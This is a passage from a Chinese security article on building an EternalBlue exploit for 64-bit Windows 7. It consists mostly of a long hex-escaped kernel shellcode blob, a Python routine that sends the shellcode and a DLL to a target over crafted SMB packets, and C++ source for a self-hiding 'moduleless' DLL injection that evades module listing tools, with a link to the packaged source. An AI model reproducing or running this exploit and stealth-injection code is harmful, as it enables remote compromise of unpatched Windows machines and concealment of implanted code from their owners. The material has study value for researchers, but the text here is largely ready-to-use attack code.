\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\xB8\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xE9\x2E\xFC\xFF\xFF\x6D\x73\x76\x63\x72\x74\x2E\x64\x6C\x6C\x00\x6D\x73\x76\x63\x72\x74\x64\x2E\x64\x6C\x6C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x57\x52\x53\x48\x89\x7D\x00\x48\x89\xFA\x48\x83\xC2\x00\x66\x8B\x1A\x66\x81\xFB\x4D\x5A\x75\x63\x48\x89\xFA\x48\x83\xC2\x3C\x48\x31\xDB\x8B\x1A\x48\x01\xDF\x48\x89\x7D\x08\x48\x89\xFA\x48\x83\xC2\x00\x8B\x1A\x81\xFB\x50\x45\x00\x00\x75\x3F\x48\x89\xFA\x48\x83\xC2\x18\x66\x8B\x1A\x66\x81\xFB\x0B\x02\x75\x2E\x48\x89\xFA\x48\x83\xC2\x14\x48\x31\xDB\x66\x8B\x1A\x48\x89\xFA\x48\x83\xC2\x18\x48\x01\xDA\x48\x89\x55\x10\x48\x89\xFA\x48\x81\xC2\x88\x00\x00\x00\x48\x89\x55\x18\x48\x31\xC0\xEB\x06\x48\x31\xC0\x48\xF7\xD0\x5B\x5A\x5F\xC3\x57\x52\x53\x48\x8B\x7D\x08\x48\x83\xC7\x50\x48\x31\xDB\x8B\x1F\x48\x89\x5D\x50\x48\x8B\x7D\x08\x48\x83\xC7\x30\x48\x8B\x17\x49\xB9\x40\x00\x00\x00\x00\x00\x00\x00\x49\xB8\x00\x30\x00\x00\x00\x00\x00\x00\x48\x89\xD1\x48\x89\xDA\x48\x83\xEC\x20\xFF\x56\x08\x48\x83\xC4\x20\x48\x85\xC0\x75\x25\x49\xB9\x40\x00\x00\x00\x00\x00\x00\x00\x49\xB8\x00\x30\x00\x00\x00\x00\x00\x00\x48\x89\xDA\x48\x31\xC9\x48\x83\xEC\x20\xFF\x56\x08\x48\x83\xC4\x20\x5B\x5A\x5F\xC3\x57\x52\x53\x51\x56\x48\x8B\x76\x48\x48\x8B\x7D\x20\x48\x8B\x5D\x08\x48\x83\xC3\x54\x48\x31\xC9\x8B\x0B\xF3\xA4\x5E\x48\x8B\x7D\x08\x48\x83\xC7\x06\x48\x31\xDB\x66\x8B\x1F\x48\x31\xD2\x48\x39\xD3\x74\x4D\x48\xB8\x28\x00\x00\x00\x00\x00\x00\x00\x52\x48\xF7\xE2\x5A\x48\x03\x45\x10\x56\x48\x8B\x76\x48\x48\x89\xC1\x48\x83\xC1\x14\x4D\x31\xD2\x44\x8B\x11\x4C\x01\xD6\x48\x8B\x7D\x20\x48\x89\xC1\x48\x83\xC1\x0C\x4D\x31\xD2\x44\x8B\x11\x4C\x01\xD7\x48\x83\xC0\x10\x48\x31\xC9\x8B\x08\xF3\xA4\x5E\x48\xFF\xC2\xEB\xAE\x48\x31\xC0\xEB\x06\x48\x31\xC0\x48\xF7\xD0\x59\x5B\x5A\x5F\xC3\x57\x52\x53\x51\x48\x8B\x7D\x20\xE8\x6C\xFE\xFF\xFF\x48\x85\xC0\x0F\x85\x50\x01\x00\x00\xE8\x1F\x05\x00\x00\x48\x85\xC0\x0F\x85\x42\x01\x00\x00\x48\x8B\x7D\x00\x48\xB8\x08\x00\x00\x00\x00\x00\x00\x00\x48\xBA\x01\x00\x00\x00\x00\x00\x00\x00\x48\xF7\xE2\x48\x8B\x55\x18\x48\x01\xC2\x48\x83\xC2\x00\x48\x31\xDB\x8B\x1A\x48\x01\xFB\x48\x89\x5D\x30\x48\x39\xFB\x0F\x84\x0F\x01\x00\x00\x49\x89\xDA\x49\x83\xC2\x10\x48\x31\xC0\x41\x8B\x02\x48\x85\xC0\x0F\x84\xF9\x00\x00\x00\x48\x8B\x45\x00\x48\x89\xDA\x48\x83\xC2\x0C\x4D\x31\xD2\x44\x8B\x12\x4C\x01\xD0\x48\x89\xC1\x48\x83\xEC\x20\xFF\x56\x18\x48\x83\xC4\x20\x48\x85\xC0\x0F\x84\xC6\x00\x00\x00\x48\x89\x45\x48\x48\x89\xDA\x48\x83\xC2\x00\x48\x8B\x7D\x00\x4D\x31\xD2\x44\x8B\x12\x4C\x01\xD7\x48\x89\x7D\x38\x48\x89\xDA\x48\x83\xC2\x10\x48\x8B\x7D\x00\x4D\x31\xD2\x44\x8B\x12\x4C\x01\xD7\x48\x89\x7D\x40\x48\x8B\x55\x38\x48\x8B\x12\x48\x85\xD2\x74\x7D\x48\x89\xD7\x49\xBA\x00\x00\x00\x00\x00\x00\x00\x80\x4C\x21\xD7\x74\x0C\x48\x89\xD7\x48\x81\xE7\xFF\xFF\x00\x00\xEB\x0B\x48\x8B\x7D\x00\x48\x01\xD7\x48\x83\xC7\x02\x48\x89\xFA\x48\x8B\x4D\x48\x48\x83\xEC\x20\xFF\x56\x20\x48\x83\xC4\x20\x48\x85\xC0\x74\x46\x48\x8B\x55\x40\x48\x89\x02\xE8\x07\x06\x00\x00\x48\x85\xC0\x74\x0F\xE8\x97\x05\x00\x00\x48\x85\xC0\x75\x05\xE8\xF0\x04\x00\x00\x48\x8B\x55\x38\x48\x83\xC2\x08\x48\x89\x55\x38\x48\x8B\x55\x40\x48\x83\xC2\x08\x48\x89\x55\x40\xE9\x77\xFF\xFF\xFF\x48\x83\xC3\x14\xE9\xF9\xFE\xFF\xFF\x48\x31\xC0\x48\xF7\xD0\xEB\x03\x48\x31\xC0\x59\x5B\x5A\x5F\xC3\x57\x52\x48\x8B\x7D\x08\x48\x83\xC7\x30\x48\x8B\x55\x20\x48\x89\x17\x48\x31\xC0\x5A\x5F\xC3\x57\x52\x53\x51\x48\x8B\x55\x28\x48\x85\xD2\x0F\x84\xF5\x00\x00\x00\x48\xB8\x08\x00\x00\x00\x00\x00\x00\x00\x48\xBA\x05\x00\x00\x00\x00\x00\x00\x00\x48\xF7\xE2\x48\x8B\x55\x18\x48\x01\xC2\x49\x89\xD2\x49\x83\xC2\x04\x48\x31\xFF\x41\x8B\x3A\x48\x85\xFF\x0F\x84\xC1\x00\x00\x00\x49\x89\xD2\x49\x83\xC2\x00\x48\x31\xFF\x41\x8B\x3A\x48\x85\xFF\x0F\x84\xA3\x00\x00\x00\x48\x8B\x55\x20\x48\x01\xFA\x49\x89\xD2\x49\x83\xC2\x04\x41\x8B\x3A\x48\x85\xFF\x0F\x84\x91\x00\x00\x00\x48\x83\xEF\x08\x48\xD1\xEF\x48\x31\xC9\x48\x39\xF9\x74\x65\x48\x89\xD3\x48\x83\xC3\x08\x48\x89\xC8\x48\xD1\xE0\x48\x01\xC3\x48\xC7\x45\x58\x00\x00\x00\x00\x66\x8B\x03\x66\x25\x00\xF0\x66\xC1\xE8\x0C\x66\x83\xF8\x00\x74\x37\x66\x83\xF8\x03\x74\x06\x66\x83\xF8\x0A\x75\x2B\x49\x89\xD2\x49\x83\xC2\x00\x41\x8B\x02\x48\x89\x45\x58\x48\x31\xC0\x66\x8B\x03\x66\x25\xFF\x0F\x48\x01\x45\x58\x48\x8B\x45\x20\x48\x03\x45\x58\x48\x8B\x5D\x28\x48\x01\x18\x48\xFF\xC1\xEB\x96\x49\x89\xD2\x49\x83\xC2\x04\x48\x31\xFF\x41\x8B\x3A\x48\x01\xFA\xE9\x64\xFF\xFF\xFF\x48\x31\xC0\x48\xF7\xD0\xEB\x03\x48\x31\xC0\x59\x5B\x5A\x5F\xC3\x57\x52\x53\x51\x48\xB8\x08\x00\x00\x00\x00\x00\x00\x00\x48\xBA\x03\x00\x00\x00\x00\x00\x00\x00\x48\xF7\xE2\x48\x8B\x55\x18\x48\x01\xC2\x48\x89\xD1\x48\x83\xC1\x04\x48\x31\xC0\x8B\x01\x48\x85\xC0\x74\x36\x48\x89\xD1\x48\x83\xC1\x00\x48\x31\xFF\x8B\x39\x48\x85\xFF\x74\x25\x48\x8B\x4D\x20\x49\x89\xC8\x48\x01\xF9\x48\x89\x4D\x78\x48\x31\xD2\xBF\x0C\x00\x00\x00\xF7\xF7\x89\xC2\x48\x83\xEC\x20\xFF\x56\x38\x48\x83\xC4\x20\x48\x31\xC0\x59\x5B\x5A\x5F\xC3\x57\x52\x53\x51\x48\x8B\x7D\x08\x48\x83\xC7\x06\x48\x31\xDB\x66\x8B\x1F\x48\x31\xD2\x48\x39\xD3\x0F\x84\xE6\x00\x00\x00\x48\xB8\x28\x00\x00\x00\x00\x00\x00\x00\x52\x48\xF7\xE2\x5A\x48\x03\x45\x10\x49\x89\xC2\x49\x83\xC2\x24\x48\x31\xFF\x41\x8B\x3A\xC7\x85\xA6\x00\x00\x00\x00\x00\x00\x00\x48\xF7\xC7\x00\x00\x00\x02\x0F\x85\x9F\x00\x00\x00\x48\xF7\xC7\x00\x00\x00\x40\x74\x0A\xC7\x85\xA6\x00\x00\x00\x02\x00\x00\x00\x49\xBA\x00\x00\x00\x80\x00\x00\x00\x00\x4C\x85\xD7\x74\x0A\xC7\x85\xA6\x00\x00\x00\x04\x00\x00\x00\x48\xF7\xC7\x00\x00\x00\x20\x74\x26\x83\xBD\xA6\x00\x00\x00\x02\x75\x0A\xC7\x85\xA6\x00\x00\x00\x20\x00\x00\x00\x83\xBD\xA6\x00\x00\x00\x04\x75\x0A\xC7\x85\xA6\x00\x00\x00\x40\x00\x00\x00\x48\x8B\x7D\x20\x48\x89\xC1\x48\x83\xC1\x0C\x4D\x31\xD2\x44\x8B\x11\x4C\x01\xD7\x49\x89\xC2\x49\x83\xC2\x08\x41\x8B\x0A\x52\x4C\x8D\x8D\xAA\x00\x00\x00\x4C\x8B\x85\xA6\x00\x00\x00\x48\x89\xCA\x48\x89\xF9\x48\x83\xEC\x20\xFF\x56\x30\x48\x83\xC4\x20\x5A\x48\x85\xC0\x74\x08\x48\xFF\xC2\xE9\x19\xFF\xFF\xFF\x48\x31\xC0\x48\xF7\xD0\xEB\x03\x48\x31\xC0\x59\x5B\x5A\x5F\xC3\x52\x57\x48\xBA\x00\x00\x00\x00\x00\x00\x00\x00\xEB\x0C\x52\x57\x48\xBA\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8B\x45\x20\x4C\x8B\x55\x08\x49\x83\xC2\x28\x48\x31\xFF\x41\x8B\x3A\x48\x01\xF8\x49\xB8\x00\x00\x00\x00\x00\x00\x00\x00\x48\x8B\x4D\x20\x48\x83\xEC\x20\xFF\xD0\x48\x83\xC4\x20\x48\x31\xC0\x5F\x5A\xC3\x48\x39\xEC\x0F\x8D\xAA\x00\x00\x00\x57\x56\x53\x48\x89\xE6\x48\x83\xC6\x0C\x55\x6A\x00\x48\x89\xE3\x51\x52\x48\x89\xE9\x48\x29\xF1\x48\x83\xF9\x08\x0F\x8C\x81\x00\x00\x00\x50\x52\x53\x48\xB8\x0F\x00\x00\x00\x00\x00\x00\x00\x48\x6B\xC0\x08\x48\x39\xC8\x7D\x03\x48\x89\xC1\x48\xBA\x00\x00\x00\x00\x00\x00\x00\x00\x48\x89\xC8\x48\xBB\x08\x00\x00\x00\x00\x00\x00\x00\x48\xF7\xFB\x48\xFF\xC8\x6A\x00\x48\x83\xF8\x00\x75\xF5\x48\x01\xCC\x5B\x5A\x58\x48\x89\xE5\x48\x89\xE7\x48\x29\xCF\x48\x89\xFC\xF3\xA4\x48\x89\x23\x48\x8B\x4B\xF8\x48\x8B\x53\xF0\x48\xC7\x43\xF8\x00\x00\x00\x00\x48\xC7\x43\xF0\x00\x00\x00\x00\x48\xC7\x04\x24\xFF\xFF\xFF\xFF\x48\xBE\xEE\xEE\xEE\xEE\xEE\xEE\xEE\xEE\xFF\xE0\x59\x59\x5D\x5D\x5B\x5E\x5F\xFF\xE0\x48\x89\xE1\x48\x2B\x4D\x08\x48\x83\xE9\x04\x48\x89\xEC\x48\x83\xC4\x0C\x5D\x5B\x5E\x5F\x5A\x48\x01\xCC\xFF\xE2\x00\x00\x00\x00\x57\x52\x53\x51\x48\xB8\x08\x00\x00\x00\x00\x00\x00\x00\x48\xBA\x0C\x00\x00\x00\x00\x00\x00\x00\x48\xF7\xE2\x48\x8B\x55\x18\x48\x01\xC2\x48\x83\xC2\x04\x48\x31\xDB\x8B\x1A\x48\xC1\xEB\x02\x48\xB8\x0F\x00\x00\x00\x00\x00\x00\x00\x48\xF7\xE3\x48\x89\x45\x68\x49\xB9\x40\x00\x00\x00\x00\x00\x00\x00\x49\xB8\x00\x30\x00\x00\x00\x00\x00\x00\x48\x89\xC2\x48\x31\xC9\x48\x83\xEC\x20\xFF\x56\x08\x48\x83\xC4\x20\x48\x85\xC0\x74\x7C\x48\x89\x45\x60\x48\x8B\x46\x58\x48\x8B\xBD\xAE\x00\x00\x00\x48\x83\xC7\x03\x48\x89\x07\x48\x8B\x46\x68\x48\xA9\x00\x00\x00\x00\x74\x2E\x48\x8B\x85\xBE\x00\x00\x00\x48\x8B\x9D\xC6\x00\x00\x00\x48\x89\x03\x48\x8B\x5E\x60\x48\x8B\xBD\xC6\x00\x00\x00\x48\x29\xDF\x48\x8B\x9D\xB6\x00\x00\x00\x48\xFF\xC3\x48\x89\x3B\xEB\x14\x48\x8B\x85\xBE\x00\x00\x00\x48\x8B\xBD\xB6\x00\x00\x00\x48\xFF\xC7\x48\x89\x07\x48\x8B\x46\x68\x48\xA9\x01\x00\x00\x00\x74\x14\x48\x8B\xBD\xB6\x00\x00\x00\xC6\x07\xBF\xEB\x08\x48\x31\xC0\x48\xF7\xD0\xEB\x03\x48\x31\xC0\x59\x5B\x5A\x5F\xC3\x57\x52\x53\x51\x56\x50\x48\x8B\x7D\x60\x48\x8B\x45\x70\x48\x01\xC7\x48\x89\xEE\x48\x81\xC6\x80\x00\x00\x00\x48\xB9\x0F\x00\x00\x00\x00\x00\x00\x00\xF3\xA4\x48\x8B\x7D\x60\x48\x8B\x45\x70\x48\x01\xC7\x48\x83\xC7\x00\x48\xFF\xC7\x48\x8B\x55\x40\x48\x8B\x1A\x48\x89\x1F\x48\x8B\xB5\xCE\x00\x00\x00\x48\x8B\x7D\x60\x48\x8B\x45\x70\x48\x01\xC7\x48\x83\xC7\x0A\x48\xFF\xC7\x48\x83\xC7\x08\x48\x29\xFE\x48\x8B\x7D\x60\x48\x8B\x45\x70\x48\x01\xC7\x48\x83\xC7\x0A\x48\xFF\xC7\x48\x89\x37\x48\x8B\x7D\x60\x48\x8B\x45\x70\x48\x01\xC7\x48\x8B\x75\x40\x48\x89\x3E\x48\x8B\x45\x70\x48\x83\xC0\x0F\x48\x89\x45\x70\x58\x5E\x59\x5B\x5A\x5F\xC3\x57\x52\x53\x51\x56\xEB\x4D\x48\x8B\x7D\x00\x48\x89\xDA\x48\x83\xC2\x0C\x48\x03\x3A\x48\x89\xE9\x48\x81\xC1\x8F\x00\x00\x00\x48\x89\xFA\x48\x83\xEC\x20\xFF\x56\x28\x48\x83\xC4\x20\x48\x85\xC0\x74\x22\x48\x89\xE9\x48\x81\xC1\x9A\x00\x00\x00\x48\x89\xFA\x48\x83\xEC\x20\xFF\x56\x28\x48\x83\xC4\x20\x48\x85\xC0\x74\x05\x48\x31\xC0\xEB\x0C\x48\xB8\x01\x00\x00\x00\x00\x00\x00\x00\xEB\x00\x5E\x59\x5B\x5A\x5F\xC3\x57\x52\x53\x51\x56\x48\x8B\x7D\x48\x48\x89\xFA\x48\x83\xC2\x00\x66\x8B\x1A\x66\x81\xFB\x4D\x5A\x0F\x85\x9B\x00\x00\x00\x48\x89\xFA\x48\x83\xC2\x3C\x48\x31\xDB\x8B\x1A\x48\x01\xDF\x48\x89\xFA\x48\x83\xC2\x00\x48\x31\xDB\x8B\x1A\x48\x81\xFB\x50\x45\x00\x00\x75\x77\x48\x89\xFE\x48\x83\xC6\x14\x48\x31\xDB\x66\x8B\x1E\x48\x89\xFE\x48\x83\xC6\x18\x48\x01\xDE\x48\x89\xFB\x48\x83\xC3\x06\x48\x31\xC9\x66\x8B\x0B\x48\x31\xD2\x48\x89\xF3\x48\x83\xC3\x0C\x48\x8B\x7D\x48\x4D\x31\xD2\x44\x8B\x13\x4C\x01\xD7\x48\x39\xF8\x7C\x2B\x48\x89\xF3\x48\x83\xC3\x08\x4D\x31\xD2\x44\x8B\x13\x4C\x01\xD7\x48\x39\xF8\x7D\x16\x49\x89\xF2\x49\x83\xC2\x24\x48\x31\xDB\x41\x8B\x1A\x48\xF7\xC3\x00\x00\x00\x20\x75\x11\x48\x83\xC6\x28\x48\xFF\xC2\x48\x39\xCA\x7C\xB0\x48\x31\xC0\xEB\x0C\x48\xB8\x01\x00\x00\x00\x00\x00\x00\x00\xEB\x00\x5E\x59\x5B\x5A\x5F\xC3\xEB\x4D\x90\x90\x90\x90\x90\x90\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1E\x00\x00\x00\x21\x0D\x00\x00\x4E\x0D\x00\x00\x00\x09\x00\x00\x00\x5E\x0D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xE8\x00\x00\x00\x00\x58\x48\x8B\x60\xC6\x48\x8B\x68\xCE\x48\x8B\x70\xD6\x48\x8D\x0D\xCA\xFF\xFF\xFF\x48\x83\xEC\x20\xFF\x56\x40\x48\x83\xC4\x20\xE9\x11\x01\x00\x00\x4C\x89\xC6\xE9\x09\x01\x00\x00\x54\x55\x51\x52\x53\x56\x57\x48\x31\xDB\x65\x48\x8B\x5B\x30\x48\x8B\x5B\x60\x48\x8B\x5B\x18\x48\x8B\x5B\x10\x48\x8B\x73\x60\x48\x85\xF6\x0F\x84\xA6\x00\x00\x00\x48\x8B\x6B\x30\x48\x85\xED\x0F\x84\x99\x00\x00\x00\x48\x31\xD2\xC1\xC2\x05\x66\xAD\x0C\x20\x30\xC2\x66\x83\x3E\x00\x75\xF1\x48\x8B\x1B\x48\x3B\x54\x24\x20\x75\xCA\x48\x89\xEF\x66\x81\x3F\x4D\x5A\x75\x73\x8B\x7D\x3C\x48\x01\xEF\x81\x3F\x50\x45\x00\x00\x75\x65\x48\x89\xF9\x48\x83\xC1\x18\x48\x85\xC9\x74\x59\x48\x31\xD2\x8B\xBF\x88\x00\x00\x00\x48\x01\xEF\x8B\x57\x1C\x48\x01\xEA\x8B\x5F\x20\x48\x01\xEB\x8B\x7F\x24\x48\x01\xEF\x49\x89\xD1\x8B\x33\x48\x01\xEE\x48\x31\xD2\xC1\xC2\x05\xAC\x0C\x20\x30\xC2\x80\x3E\x00\x75\xF3\x48\x3B\x54\x24\x18\x74\x0C\x48\x83\xC7\x02\x48\x83\xC3\x04\xE2\xDA\xEB\x10\x48\x0F\xB7\x17\x48\xC1\xE2\x02\x4C\x01\xCA\x8B\x02\x48\x01\xE8\x5F\x5E\x5B\x5A\x59\x5D\x5C\xC3\x06\xDF\xB0\x2C\x51\x33\x8A\x8D\xA4\x00\x78\x95\x27\x85\x00\x3B\x00\xA1\xB4\x00\xDB\xB6\xB6\xE5\x00\xC4\x22\x07\xE2\x00\x82\x5A\x15\x4A\x00\x02\x55\xF0\xD6\xDE\x79\x03\xAA\x86\x00\x0D\xC4\x8A\xDC\x00\x00\x48\x8B\x26\x50\x48\x31\xC0\x48\x8D\x0D\x33\x00\x00\x00\x48\x8D\x1D\x2C\x00\x00\x00\x48\x29\xD9\x48\x89\xDF\xF3\xAA\x48\x8D\x0D\x0D\x00\x00\x00\x48\x8D\x1D\x96\xF0\xFF\xFF\x48\x29\xD9\x48\x89\xDF\xF3\xAA\x58\x41\x5F\x41\x5E\x41\x5D\x41\x5C\x5E\x5F\x5D\x5B\xC3\xEB\x08\x00\x14\x00\x00\x01\x00\x00\x00"
        f = open(dllfile,"rb")
	dll_hex = f.read()
	f.close()
	#dll_hex += "\x00"*3
	array , ncount = make_smb_request(kernel_shellcode + dll_hex,key)
	for i in range(ncount):
		#print binascii.b2a_hex(array[i])
		print i+4,",len:",len(array[i])
		s.sendall(array[i])
		data = s.recv(1024)
		print i+4,"--->",data
		#end1
	        step_7_data ="\x00\x00\x00\x23\xFF\x53\x4D\x42\x71\x00\x00\x00\x00\x18\x07\xC0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xFF\xFE\x00\x08\x42\x00\x00\x00\x00"
	        s.sendall(step_7_data)
	        data = s.recv(1024)
	        print 7,data
	        #end2
	        step_8_data ="\x00\x00\x00\x27\xFF\x53\x4D\x42\x74\x00\x00\x00\x00\x18\x07\xC0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xFF\xFE\x00\x08\x42\x00\x02\xFF\x00\x27\x00\x00\x00"
	        s.sendall(step_8_data)
	        data = s.recv(1024)
	        print 8,data
	        print "------Inject dll done!------"
                s.close()

0x5: 永恒之蓝 + 自隐藏模块注入

我们写的win7下的exploit功能就算基本完成了,但是如果要想完成一次成熟的攻击, 不可能注入了进程之后进程又崩掉了,dll注入是和权限有直接关系的,Doubleplusar执行后是nt权限,可以采用无模块注入来注入到受害者的机器测试后发现同时也解决进程崩掉的问题这里顺便提一下无模块注入中的一些知识。关于dll注入和 x86 x64 进程互写互读的知识有兴趣可以去看看. 这里介绍一种关于模块自隐藏的知识

:DllMain第一次执行时,申请一块内存把DLL文件进行模拟加载,然后再调用模拟加载PE的DllMain,第二次的DllMain就在非模块的内存中执行了。DLL自卸载说起来也不难,是用MOMODALMARK标记DllMain的返回值  类似于MemoryLoadLibrary 的功能

上代码:

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"
#include "MemoryLoad.h"

//创建一个进程互斥量  防止无模块DLL多次注入
BOOL IsMutexExist(char* pstrMutex)
{
	BOOL bRet = FALSE;
	HANDLE hMutex = NULL;

	hMutex = CreateMutexA(NULL, TRUE, pstrMutex);
	if (hMutex)
	{
		if (GetLastError() == ERROR_ALREADY_EXISTS)
			bRet = TRUE;
		ReleaseMutex(hMutex);
		CloseHandle(hMutex);
	}
	else
	{
		bRet = TRUE;
	}
	return bRet;

}
//调用LoadPE.cpp里的函数,自行处理PE加载,把DLL在新申请的内存加载起来,并执行入口函数
void LaunchNoModule()
{
	LaunchDll((char*)dllModuleName, NO_MODULE_MARK);
}
unsigned int  __stdcall NoModuleThread(void* lpParameter)
{
	while (TRUE)
	{
		Sleep(1000);
		OutputDebugString(L"Test by IronMan.");
	}

	return TRUE;
}
//调用LoadPE.cpp里的函数,自行处理PE加载,把DLL在新申请的内存加载起来,并执行入口函数
void NoModuleEntryCall(HMODULE hModule, DWORD ul_reason_for_call, char* pstrModuleName)
{
	TCHAR szMutexName[MAX_PATH];
	wsprintf(szMutexName, L"Test 15pb bingo! %d", GetCurrentProcessId());
	g_hMutex = CreateMutex(NULL, TRUE, szMutexName);

	TCHAR szLog[MAX_PATH] = { 0 };
	wsprintf(szLog, L"NoModuleEntryCall Module Start:%p", hModule);
	OutputDebugString(szLog);
	//下面为正常Dll功能代码


	CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)NoModuleThread, NULL, NULL, NULL);


}
BOOL ChooseSub(HMODULE hModule, DWORD ul_reason_for_call, char* pstrModuleName)
{
	BOOL bRet = FALSE;
	GetModuleFileNameA(NULL, exeModuleName, MAX_PATH);
	if (ul_reason_for_call == NO_MODULE_MARK)
		//	strcpy((char*)dllModuleName,pstrModuleName);
		int a = 1;
	else
		GetModuleFileName(hModule, dllModuleName, MAX_PATH);

	if (ul_reason_for_call == NO_MODULE_MARK)
	{
		NoModuleEntryCall(hModule, DLL_PROCESS_ATTACH, 0);
		bRet = TRUE;
	}
	else
	{
		LaunchNoModule();
		bRet = FALSE;
	}
	return bRet;


}
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
					 )
{
	BOOL  bRet = FALSE;
	if (ul_reason_for_call == DLL_PROCESS_ATTACH || ul_reason_for_call == NO_MODULE_MARK)
	{
		TCHAR szMutexName[MAX_PATH];
		wsprintf(szMutexName, L"yanshier2013nomoduleinject%d", GetCurrentProcessId());
		if (IsMutexExist((char*)szMutexName))
			return FALSE;

		bRet = ChooseSub(hModule, ul_reason_for_call, (char *)lpReserved);
	}
	else
	{
		if (ul_reason_for_call == DLL_PROCESS_DETACH)
		{
			ReleaseMutex(g_hMutex);
			CloseHandle(g_hMutex);
			bRet = TRUE;
		}
	}
	return bRet;
}

我注入了NTFSinfo这个程序.用PChunter是看不到自己注入的模块的

每隔一秒用 OutputString打印出一句 Test by IronMan. 需要的话直接在NoModuleThread替换功能就可以了。

http://p6.qhimg.com/t01e684ad6f55fbfa50.png

自卸载dll源码编译 vs2010 vs2013

源码打包地址: http://pan.baidu.com/s/1miObL00


本文地址:http://bobao.360.cn/learning/detail/4201.html

未经允许不得转载:安全路透社 » 【技术分享】EternalBlue之win7 64位exploit编写(二)

赞 (0)
分享到:更多 ()

评论 0

评论前必须登录!

登陆 注册